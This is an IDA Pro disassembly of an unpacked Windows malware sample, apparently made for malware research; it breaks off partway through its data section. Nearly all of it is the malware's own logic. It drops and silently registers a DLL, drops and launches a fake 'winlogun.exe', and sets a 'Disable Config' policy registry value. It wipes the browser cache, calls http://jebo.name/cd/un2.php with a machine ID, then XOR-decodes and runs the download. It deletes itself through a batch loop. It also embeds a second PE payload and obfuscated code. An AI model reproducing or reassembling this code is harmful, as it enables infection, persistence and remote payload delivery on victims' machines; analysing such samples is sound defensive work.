; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 3FA17E2277CEAB3DD6E5AE9214ABC20F ; File Name : u:\work\3fa17e2277ceab3dd6e5ae9214abc20f_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00006000 ( 24576.) ; Section size in file : 00006000 ( 24576.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= public start start proc near xor dx, dx add eax, ebp and eax, esp push 7FFh push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... call sub_401664 ; GetSystemDirectoryA push offset aHsjefi8wunkmdf ; "\\hsjefi8wunkmdf.dll" push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... call sub_4016A6 ; lstrcatA push 0 push 20h push 2 push 0 push 2 push 40000000h push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... call sub_40163A ; CreateFileA mov ds:dword_40A678, eax push 0 push offset dword_40AFA9 push 3A98h ; CODE XREF: .text:00406ED9j push offset dword_403004 push ds:dword_40A678 call sub_4016A0 ; WriteFile push ds:dword_40A678 call sub_401634 ; CloseHandle push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... push offset aRegsvr32_exeSS ; "Regsvr32.exe /s %s" push offset aCM_unpackerPac ; "\"C:\\m_unpacker\\packed.exe\"" call sub_40162E ; wsprintfA add esp, 0Ch push 5 push offset aCM_unpackerPac ; "\"C:\\m_unpacker\\packed.exe\"" call sub_40169A ; WinExec call sub_40150E call sub_401565 push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... push 800h call sub_401670 ; GetTempPathA push offset aWinlogun_exe ; "winlogun.exe" push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... call sub_4016A6 ; lstrcatA push 0 push 20h push 2 push 0 push 2 push 40000000h push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... call sub_40163A ; CreateFileA mov ds:dword_40A678, eax push 0 push offset dword_40AFA9 push 3A98h push offset dword_406A9C push ds:dword_40A678 call sub_4016A0 ; WriteFile push ds:dword_40A678 call sub_401634 ; CloseHandle push 0 push offset aCDocume1Cybert ; "C:\\DOCUME~1\\cyberta\\LOCALS~1\\Temp\\winlo"... call sub_40169A ; WinExec push offset aHttpJebo_nameC ; "http://jebo.name/cd/un2.php?id=%s&ver=v"... call sub_4012DD push 0 push offset aExplorer_exe ; "explorer.exe" call sub_40169A ; WinExec call sub_401127 push eax call sub_40164C ; ExitProcess start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401127 proc near ; CODE XREF: start+11Cp var_4 = byte ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFFCh push 104h push offset aCM_unpackerP2h ; "C:\\m_unpacker\\p2hhr.bat" push 0 call sub_401658 ; GetModuleFileNameA push offset aCM_unpackerP2h ; "C:\\m_unpacker\\p2hhr.bat" push offset aCM_unpackerP_0 ; "C:\\m_unpacker\\packed.exe" call sub_4016AC ; lstrcpyA lea eax, aCM_unpackerP2h ; "C:\\m_unpacker\\p2hhr.bat" xor dx, cx loc_401156: ; CODE XREF: sub_401127+3Aj cmp byte ptr [eax], 5Ch jnz short loc_40115D mov edx, eax loc_40115D: ; CODE XREF: sub_401127+32j inc eax cmp byte ptr [eax], 0 jnz short loc_401156 xor ax, dx inc edx mov byte ptr [edx], 0 push offset aP2hhr_bat ; "p2hhr.bat" push offset aCM_unpackerP2h ; "C:\\m_unpacker\\p2hhr.bat" call sub_4016A6 ; lstrcatA push 0 push 0 push 2 push 0 push 3 push 0C0000000h push offset aCM_unpackerP2h ; "C:\\m_unpacker\\p2hhr.bat" call sub_40163A ; CreateFileA mov ds:dword_40A678, eax inc eax jz short locret_401209 push offset aLsh2Del1IfExis ; ":lsh2\r\ndel %1\r\nif exist %1 goto lsh2\r\nd"... call sub_4016B2 ; lstrlenA mov edx, eax push 0 lea eax, [ebp+var_4] push eax push edx push offset aLsh2Del1IfExis ; ":lsh2\r\ndel %1\r\nif exist %1 goto lsh2\r\nd"... push ds:dword_40A678 call sub_4016A0 ; WriteFile push ds:dword_40A678 call sub_401634 ; CloseHandle xor eax, ebp jmp short loc_4011D1 ; --------------------------------------------------------------------------- dword_4011CC dd 22732522h db 0 ; --------------------------------------------------------------------------- loc_4011D1: ; CODE XREF: sub_401127+A3j push offset aCM_unpackerP_0 ; "C:\\m_unpacker\\packed.exe" push offset dword_4011CC push offset aCM_unpackerPac ; "\"C:\\m_unpacker\\packed.exe\"" call sub_40162E ; wsprintfA add esp, 0Ch xor eax, eax push 0 push eax push offset aCM_unpackerPac ; "\"C:\\m_unpacker\\packed.exe\"" push offset aCM_unpackerP2h ; "C:\\m_unpacker\\p2hhr.bat" push offset aOpen ; "open" push eax call sub_4016E8 push 0 call sub_40164C ; ExitProcess locret_401209: ; CODE XREF: sub_401127+71j leave retn sub_401127 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40120B proc near ; CODE XREF: sub_4012DD+9Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h mov [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push offset byte_40C6BF push 0 call sub_4016D6 ; FindFirstUrlCacheEntryA push [ebp+var_4] push 42h call sub_401676 ; GlobalAlloc mov [ebp+var_8], eax push [ebp+var_8] call sub_401682 ; GlobalLock mov [ebp+var_C], eax lea eax, [ebp+var_4] push eax push [ebp+var_C] push 0 call sub_4016D6 ; FindFirstUrlCacheEntryA or eax, eax jz locret_4012DB mov [ebp+var_10], eax mov edx, [ebp+var_C] push dword ptr [edx+4] call sub_4016D0 ; DeleteUrlCacheEntryA push [ebp+var_C] call sub_401688 ; GlobalUnlock push [ebp+var_8] call sub_40167C ; GlobalFree loc_401274: ; CODE XREF: sub_40120B:loc_4012D9j mov [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push offset byte_40C6BF push [ebp+var_10] call sub_4016DC ; FindNextUrlCacheEntryA push [ebp+var_4] push 42h call sub_401676 ; GlobalAlloc mov [ebp+var_8], eax push [ebp+var_8] call sub_401682 ; GlobalLock mov [ebp+var_C], eax lea eax, [ebp+var_4] push eax push [ebp+var_C] push [ebp+var_10] call sub_4016DC ; FindNextUrlCacheEntryA or eax, eax jz short loc_4012D7 mov [ebp+var_10], eax mov edx, [ebp+var_C] push dword ptr [edx+4] call sub_4016D0 ; DeleteUrlCacheEntryA push [ebp+var_C] call sub_401688 ; GlobalUnlock push [ebp+var_8] call sub_40167C ; GlobalFree jmp short loc_4012D9 ; --------------------------------------------------------------------------- loc_4012D7: ; CODE XREF: sub_40120B+AAj jmp short locret_4012DB ; --------------------------------------------------------------------------- loc_4012D9: ; CODE XREF: sub_40120B+CAj jmp short loc_401274 ; --------------------------------------------------------------------------- locret_4012DB: ; CODE XREF: sub_40120B+45j ; sub_40120B:loc_4012D7j leave retn sub_40120B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4012DD proc near ; CODE XREF: start+10Bp var_106D = byte ptr -106Dh var_106C = dword ptr -106Ch var_1068 = dword ptr -1068h var_1064 = dword ptr -1064h var_1060 = dword ptr -1060h var_105C = byte ptr -105Ch var_85C = byte ptr -85Ch var_5C = dword ptr -5Ch var_54 = byte ptr -54h var_44 = dword ptr -44h var_18 = dword ptr -18h var_14 = word ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFEF90h mov [ebp+var_1060], 1 lea eax, [ebp+var_5C] push eax call sub_40166A ; GetSystemTimeAsFileTime push [ebp+var_5C] push offset aLu_exe ; "%lu.exe" push offset a1646169094_exe ; "1646169094.exe" call sub_40162E ; wsprintfA add esp, 0Ch lea eax, [ebp+var_85C] push eax push 7D0h call sub_401670 ; GetTempPathA push offset a1646169094_exe ; "1646169094.exe" lea eax, [ebp+var_85C] push eax call sub_4016A6 ; lstrcatA push 3E8h call sub_401694 ; Sleep lea eax, [ebp+var_5C] push eax call sub_40166A ; GetSystemTimeAsFileTime push [ebp+var_5C] push offset aLu_exe ; "%lu.exe" push offset a1646169094_exe ; "1646169094.exe" call sub_40162E ; wsprintfA add esp, 0Ch lea eax, [ebp+var_105C] push eax push 7D0h call sub_401670 ; GetTempPathA push offset a1646169094_exe ; "1646169094.exe" lea eax, [ebp+var_105C] push eax call sub_4016A6 ; lstrcatA call sub_40120B push offset a1c97ae360a5d87 ; "1C97AE360A5D87A" push [ebp+arg_0] push offset aHttpJebo_nam_0 ; "http://jebo.name/cd/un2.php?id=1C97AE36"... call sub_40162E ; wsprintfA add esp, 0Ch push 0 push 0 lea eax, [ebp+var_85C] push eax push offset aHttpJebo_nam_0 ; "http://jebo.name/cd/un2.php?id=1C97AE36"... push 0 call sub_4016E2 or eax, eax jnz loc_4014F8 push 0 push 20h push 3 push 0 push 3 push 80000000h lea eax, [ebp+var_85C] push eax call sub_40163A ; CreateFileA cmp eax, 0FFFFFFFFh jz loc_4014A7 mov [ebp+var_1064], eax push 0 push 20h push 2 push 0 push 3 push 40000000h lea eax, [ebp+var_105C] push eax call sub_40163A ; CreateFileA cmp eax, 0FFFFFFFFh jz loc_40149C mov [ebp+var_1068], eax push 0 push [ebp+var_1064] call sub_401652 ; GetFileSize cmp eax, 0FFFFFFFFh jz short loc_401491 or eax, eax jz short loc_401491 mov [ebp+var_106C], eax push 0 push offset dword_40AFA9 push 1 lea eax, [ebp+var_106D] push eax push [ebp+var_1064] call sub_40168E ; ReadFile jmp short loc_401488 ; --------------------------------------------------------------------------- loc_401440: ; CODE XREF: sub_4012DD+1B2j push 0 push offset dword_40AFA9 push 1 push offset byte_40A66F push [ebp+var_1064] call sub_40168E ; ReadFile mov al, ds:byte_40A66F xor al, [ebp+var_106D] mov ds:byte_40A66F, al push 0 push offset dword_40AFA9 push 1 push offset byte_40A66F push [ebp+var_1068] call sub_4016A0 ; WriteFile dec [ebp+var_106C] loc_401488: ; CODE XREF: sub_4012DD+161j cmp [ebp+var_106C], 0 jnz short loc_401440 loc_401491: ; CODE XREF: sub_4012DD+13Aj ; sub_4012DD+13Ej push [ebp+var_1068] call sub_401634 ; CloseHandle loc_40149C: ; CODE XREF: sub_4012DD+11Ej push [ebp+var_1064] call sub_401634 ; CloseHandle loc_4014A7: ; CODE XREF: sub_4012DD+F4j lea eax, [ebp+var_85C] push eax call sub_401646 ; DeleteFileA mov [ebp+var_44], 44h lea eax, [ebp+var_44] push eax call sub_40165E ; GetStartupInfoA mov [ebp+var_18], 1 mov [ebp+var_14], 0 lea eax, [ebp+var_54] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 1 push 0 push 0 lea eax, [ebp+var_105C] push eax push 0 call sub_401640 ; CreateProcessA mov [ebp+var_1060], eax loc_4014F8: ; CODE XREF: sub_4012DD+D0j lea eax, [ebp+var_105C] push eax call sub_401646 ; DeleteFileA mov eax, [ebp+var_1060] leave retn 4 sub_4012DD endp ; =============== S U B R O U T I N E ======================================= sub_40150E proc near ; CODE XREF: start+8Dp push offset dword_40AFA9 push offset aA ; "" push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwarePolici ; "SOFTWARE\\Policies\\Microsoft\\Windows NT\\"... push 80000002h call sub_4016BE ; RegCreateKeyExA mov ds:dword_40AFA9, 1 push 4 push offset dword_40AFA9 push 4 push 0 push offset aDisableConfig ; "Disable Config" push dword ptr ds:aA ; "" call sub_4016CA ; RegSetValueExA push dword ptr ds:aA ; "" call sub_4016B8 ; RegCloseKey retn sub_40150E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401565 proc near ; CODE XREF: start+92p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push offset dword_40AFA9 push offset aA ; "" push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000001h call sub_4016BE ; RegCreateKeyExA mov ds:dword_40AFA9, 0FFh push offset dword_40AFA9 push offset a1c97ae360a5d87 ; "1C97AE360A5D87A" push 0 push 0 push offset aWinid ; "WINID" push dword ptr ds:aA ; "" call sub_4016C4 ; RegQueryValueExA or eax, eax jz short loc_401602 lea eax, [ebp+var_8] push eax call sub_40166A ; GetSystemTimeAsFileTime push [ebp+var_8] push [ebp+var_4] push offset aLxLx ; "%lX%lX" push offset a1c97ae360a5d87 ; "1C97AE360A5D87A" call sub_40162E ; wsprintfA add esp, 10h push offset a1c97ae360a5d87 ; "1C97AE360A5D87A" call sub_4016B2 ; lstrlenA push eax push offset a1c97ae360a5d87 ; "1C97AE360A5D87A" push 1 push 0 push offset aWinid ; "WINID" push dword ptr ds:aA ; "" call sub_4016CA ; RegSetValueExA loc_401602: ; CODE XREF: sub_401565+56j push dword ptr ds:aA ; "" call sub_4016B8 ; RegCloseKey push offset a1c97ae360a5d87 ; "1C97AE360A5D87A" call sub_4016B2 ; lstrlenA cmp eax, 0Ah jnb short locret_40162B push offset aError ; "ERROR" push offset a1c97ae360a5d87 ; "1C97AE360A5D87A" call sub_4016AC ; lstrcpyA locret_40162B: ; CODE XREF: sub_401565+B5j leave retn sub_401565 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40162E proc near ; CODE XREF: start+79p sub_401127+B9p ... jmp dword_402080 sub_40162E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401634 proc near ; CODE XREF: start+65p start+F5p ... jmp dword_402060 sub_401634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163A proc near ; CODE XREF: start+39p start+C9p ... jmp dword_40204C sub_40163A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401640 proc near ; CODE XREF: sub_4012DD+210p jmp dword_402034 sub_401640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401646 proc near ; CODE XREF: sub_4012DD+1D1p ; sub_4012DD+222p jmp dword_402014 sub_401646 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164C proc near ; CODE XREF: start+122p sub_401127+DDp jmp dword_402018 sub_40164C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401652 proc near ; CODE XREF: sub_4012DD+132p jmp dword_40201C sub_401652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401658 proc near ; CODE XREF: sub_401127+12p jmp dword_402020 sub_401658 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40165E proc near ; CODE XREF: sub_4012DD+1E1p jmp dword_402024 sub_40165E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401664 proc near ; CODE XREF: start+11p jmp dword_402028 sub_401664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40166A proc near ; CODE XREF: sub_4012DD+17p ; sub_4012DD+61p ... jmp dword_40202C sub_40166A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401670 proc near ; CODE XREF: start+A1p sub_4012DD+3Dp ... jmp dword_402030 sub_401670 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401676 proc near ; CODE XREF: sub_40120B+22p ; sub_40120B+86p jmp dword_402064 sub_401676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40167C proc near ; CODE XREF: sub_40120B+64p ; sub_40120B+C5p jmp dword_402038 sub_40167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401682 proc near ; CODE XREF: sub_40120B+2Dp ; sub_40120B+91p jmp dword_40203C sub_401682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401688 proc near ; CODE XREF: sub_40120B+5Cp ; sub_40120B+BDp jmp dword_402040 sub_401688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168E proc near ; CODE XREF: sub_4012DD+15Cp ; sub_4012DD+177p jmp dword_402044 sub_40168E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401694 proc near ; CODE XREF: sub_4012DD+58p jmp dword_402048 sub_401694 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40169A proc near ; CODE XREF: start+88p start+101p ... jmp dword_402068 sub_40169A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A0 proc near ; CODE XREF: start+5Ap start+EAp ... jmp dword_402050 sub_4016A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A6 proc near ; CODE XREF: start+20p start+B0p ... jmp dword_402054 sub_4016A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AC proc near ; CODE XREF: sub_401127+21p ; sub_401565+C1p jmp dword_402058 sub_4016AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B2 proc near ; CODE XREF: sub_401127+78p ; sub_401565+7Ep ... jmp dword_40205C sub_4016B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: sub_40150E+51p ; sub_401565+A3p jmp dword_402004 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BE proc near ; CODE XREF: sub_40150E+21p ; sub_401565+27p jmp dword_40200C sub_4016BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016C4 proc near ; CODE XREF: sub_401565+4Fp jmp dword_402008 sub_4016C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016CA proc near ; CODE XREF: sub_40150E+46p ; sub_401565+98p jmp dword_402000 sub_4016CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D0 proc near ; CODE XREF: sub_40120B+54p ; sub_40120B+B5p jmp dword_402090 sub_4016D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D6 proc near ; CODE XREF: sub_40120B+18p ; sub_40120B+3Ep jmp dword_40208C sub_4016D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016DC proc near ; CODE XREF: sub_40120B+7Cp ; sub_40120B+A3p jmp dword_402088 sub_4016DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016E2 proc near ; CODE XREF: sub_4012DD+C9p jmp dword_402078 sub_4016E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016E8 proc near ; CODE XREF: sub_401127+D6p jmp dword_402070 sub_4016E8 endp ; --------------------------------------------------------------------------- align 10h dd 244h dup(0) dword_402000 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_402004 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_402008 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_40200C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA dd 0 dword_402014 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileAdword_402018 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_40201C dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_402020 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_402024 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_402028 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_40202C dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTimedword_402030 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_402034 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_402038 dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFreedword_40203C dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_402040 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_402044 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_402048 dd 7C802442h ; resolved to->KERNEL32.Sleepdword_40204C dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_402050 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_402054 dd 7C834D41h ; resolved to->KERNEL32.lstrcatAdword_402058 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyAdword_40205C dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_402060 dd 7C809B47h ; resolved to->KERNEL32.CloseHandledword_402064 dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_402068 dd 7C86136Dh ; resolved to->KERNEL32.WinExec align 10h dword_402070 dd 7CA40EE0h align 8 dword_402078 dd 42D779A3h align 10h dword_402080 dd 7E41A8ADh ; resolved to->USER32.wsprintfA align 8 dword_402088 dd 42C2E399h ; resolved to->WININET.FindNextUrlCacheEntryAdword_40208C dd 42C2DE3Dh ; resolved to->WININET.FindFirstUrlCacheEntryAdword_402090 dd 42C45086h ; resolved to->WININET.DeleteUrlCacheEntryA align 8 dd 21A4h, 2 dup(0) dd 21C8h, 2080h, 2138h, 2 dup(0) dd 231Ch, 2014h, 2124h, 2 dup(0) dd 2370h, 2000h, 21ACh, 2 dup(0) ; --------------------------------------------------------------------------- retf 23h ; --------------------------------------------------------------------------- align 4 dd 2088h, 219Ch, 2 dup(0) dd 23ECh, 2078h, 2194h, 2 dup(0) dd 2408h, 2070h, 5 dup(0) dd 235Eh, 232Ah, 234Ah, 2338h, 0 dd 2202h, 2210h, 221Eh, 222Ch, 2242h, 2254h, 226Ah, 2284h dd 21F0h, 22A2h, 22B0h, 22BEh, 22CEh, 22DAh, 21E2h, 22ECh dd 22F8h, 2304h, 2310h, 21D4h, 2294h, 22E2h, 0 dd 23F8h, 0 dd 23D6h, 0 dd 21BCh, 0 dd 23B0h, 2396h, 237Eh, 0 dd 73770262h, 6E697270h, 416674h, 72657375h, 642E3233h dd 6C6Ch, 6C43001Ah, 4865736Fh, 6C646E61h, 300065h, 61657243h dd 69466574h, 41656Ch, 72430040h, 65746165h, 636F7250h dd 41737365h, 530000h, 656C6544h, 69466574h, 41656Ch, 78450080h dd 72507469h, 7365636Fh, 0F50073h, 46746547h, 53656C69h dd 657A69h, 65470107h, 646F4D74h, 46656C75h, 4E656C69h dd 41656D61h, 1320000h, 53746547h, 74726174h, 6E497075h dd 416F66h, 6547013Ch, 73795374h, 446D6574h, 63657269h dd 79726F74h, 1420041h, 53746547h, 65747379h, 6D69546Dh dd 46734165h, 54656C69h, 656D69h, 6547014Ah, 6D655474h dd 74615070h, 4168h, 6C470167h, 6C61626Fh, 6F6C6C41h, 16E0063h dd 626F6C47h, 72466C61h, 6565h, 6C470172h, 6C61626Fh, 6B636F4Ch dd 1790000h, 626F6C47h, 6E556C61h, 6B636F6Ch, 1F70000h dd 64616552h, 656C6946h, 2600000h, 65656C53h, 2940070h dd 456E6957h, 636578h, 7257029Eh, 46657469h, 656C69h, 736C02B5h dd 61637274h, 4174h, 736C02BBh, 70637274h, 4179h, 736C02BFh dd 656C7274h, 416Eh, 6E72656Bh, 32336C65h, 6C6C642Eh, 1800000h dd 43676552h, 65736F6Ch, 79654Bh, 65520184h, 65724367h dd 4B657461h, 78457965h, 1A30041h, 51676552h, 79726575h dd 756C6156h, 41784565h, 1AE0000h, 53676552h, 61567465h dd 4565756Ch, 4178h, 61766461h, 32336970h, 6C6C642Eh, 0A0000h dd 656C6544h, 72556574h, 6361436Ch, 6E456568h, 41797274h dd 130000h, 646E6946h, 73726946h, 6C725574h, 68636143h dd 746E4565h, 417972h, 6946001Ah, 654E646Eh, 72557478h dd 6361436Ch, 6E456568h, 41797274h, 69770000h, 656E696Eh dd 6C642E74h, 31006Ch, 444C5255h, 6C6E776Fh, 5464616Fh dd 6C69466Fh, 4165h, 6D6C7275h, 642E6E6Fh, 6C6Ch, 68530067h dd 456C6C65h, 75636578h, 416574h, 6C656873h, 2E32336Ch dd 6C6C64h, 2FBh dup(0) dd 30303030h dword_403004 dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0F0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 1Dh dup(0) dd 4550h, 3014Ch, 496C9E67h, 2 dup(0) dd 210E00E0h, 5010Bh, 1E00h, 800h, 0 dd 2 dup(1000h), 3000h, 10000000h, 1000h, 200h, 4, 0 dd 4, 0 dd 7000h, 400h, 10A14h, 2, 100000h, 1000h, 100000h, 1000h dd 0 dd 10h, 3670h, 0A5h, 3000h, 28h, 6 dup(0) dd 4000h, 26h, 14h dup(0) dd 7865742Eh, 74h, 2000h, 1000h, 1E00h, 400h, 3 dup(0) dd 60000020h, 6164722Eh, 6174h, 1000h, 3000h, 800h, 2200h dd 3 dup(0) dd 0C0000040h, 6C65722Eh, 636Fh, 3000h, 4000h, 200h, 2A00h dd 3 dup(0) dd 42000040h, 68h dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFBCh pusha lea ecx, ds:0C506E697h mov si, 0B6D7h xchg ecx, esi xchg edi, ecx add esi, 59581FE4h neg edi push 1000104Ah mov esi, 0B575150Bh neg ebx not edi xor ebx, eax not esi lea ebx, ds:15A51997h cmp edx, 95F23A39h retn ; --------------------------------------------------------------------------- dd 51DD3D8Dh, 0D4333168h, 0A29D181h, 45C72FBFh, 72654BDFh dd 72F7816Eh, 8BAFB4B4h, 8DF933D6h, 0B5BFE735h, 8BD133DFh dd 0E345C7F9h, 32336C65h, 0DBF7F633h, 858DCF81h, 0EBC14F88h dd 81D6F70Fh, 0CDEA8AFBh, 0E745C76Fh, 6C6C642Eh, 0F9ABD181h dd 0BE66DFEDh, 0C933C999h, 0EF73A1B9h, 0F129BB6Dh, 0D9F76D1Dh dd 9533BB66h, 0EB45C6h, 5FA2C181h, 0B9667FD2h, 0CFC13F1Dh dd 141D8D02h, 661D1010h, 8D836CBAh, 2DBD740Dh, 8DDF33E9h dd 0FBBFC845h, 33CDBAD2h, 0C1D787DCh, 0E9810CC6h, 15AE5B4Ah dd 0B966DE8Bh, 0BE50036Ch, 0CDF6E0B0h, 0D8DF98Bh, 611F52A7h dd 0D1A56BAh, 0D3F790C1h, 0B9EF3D8Dh, 83B9750Ah, 8D755C3Fh dd 1468C615h, 66FD3361h, 902E1CBFh, 2DC5E281h, 0D3F7AD76h dd 0D7C1D1F7h, 20158D17h, 0BE516275h, 0D90B9185h, 0C1DF458Dh dd 0D18B0EC9h, 36B9DF33h, 507FA5E8h, 5DF5BF66h, 0E381DB33h dd 5FD5C88Bh, 0C95CFA81h, 0E9812FF6h, 0B57B4BDCh, 30AC15FFh dd 0D6C11000h, 0DAB9B912h, 0BF66CD5Ah, 8D90FAB0h, 58B8D20Dh dd 2ABA66B9h, 33D38B84h, 0C1F28BD0h, 358D12D7h, 14D8BA2h dd 54A422BFh, 0C2819015h, 0CDB05C1Fh, 0E057B966h, 0C5A2CA81h dd 0EF81E914h, 0ED69EF32h, 660FDAC1h, 66D7E1BBh, 0C1B0ABBEh dd 15FF1DC9h, 10003074h, 4C5FBB66h, 192BBA66h, 713EC281h dd 6650A14Eh, 81C924BBh, 80C410E2h, 8BDFF755h, 95DA81F3h dd 0C1B11944h, 0F79012E7h, 0BADD33D9h, 710A5A55h, 8DD1F790h dd 4735641Dh, 1BE6C135h, 7E53B966h, 52C845C7h, 0BE696765h dd 0CD932C05h, 5FBEF781h, 0F7BE3FFAh, 0BA15F29Dh, 11540428h dd 73CC45C7h, 81726574h, 2B8F01C7h, 0EB358D79h, 0C1DFE4AEh dd 3D8D15DBh, 6DF007A9h, 0BF66DEF7h, 45C7163Eh, 726553D0h dd 0C1D7F776h, 0D98709D3h, 74DF158Dh, 0BB905510h, 1029A70h dd 158DFA33h, 9FC3245Ch, 8D0ED7C1h, 0E78DDE0Dh, 5EBB90EDh dd 8BE55C76h, 8BF633F3h, 0F7FE33CFh, 0D445C7DBh, 50656369h dd 0F709DEC1h, 81D6F7D3h, 6B3CD8FFh, 0D845C779h, 65636F72h dd 0AD89BE66h, 0FA33F789h, 6618DFC1h, 73DC45C7h, 913D8D73h dd 81691251h, 558ECAF1h, 8DD6F751h, 37C48C35h, 33DFF7F5h dd 3A1D8DCEh, 338D49A4h, 0DE45C6D1h, 0E3D78100h, 877537F3h dd 9730B9DEh, 0C5BF1F9Eh, 335D4C22h, 8DDA89F5h, 0B708321Dh dd 90DAF7D5h, 6A7C7BBBh, 36BE66D1h, 90C933EEh, 8106EFC1h dd 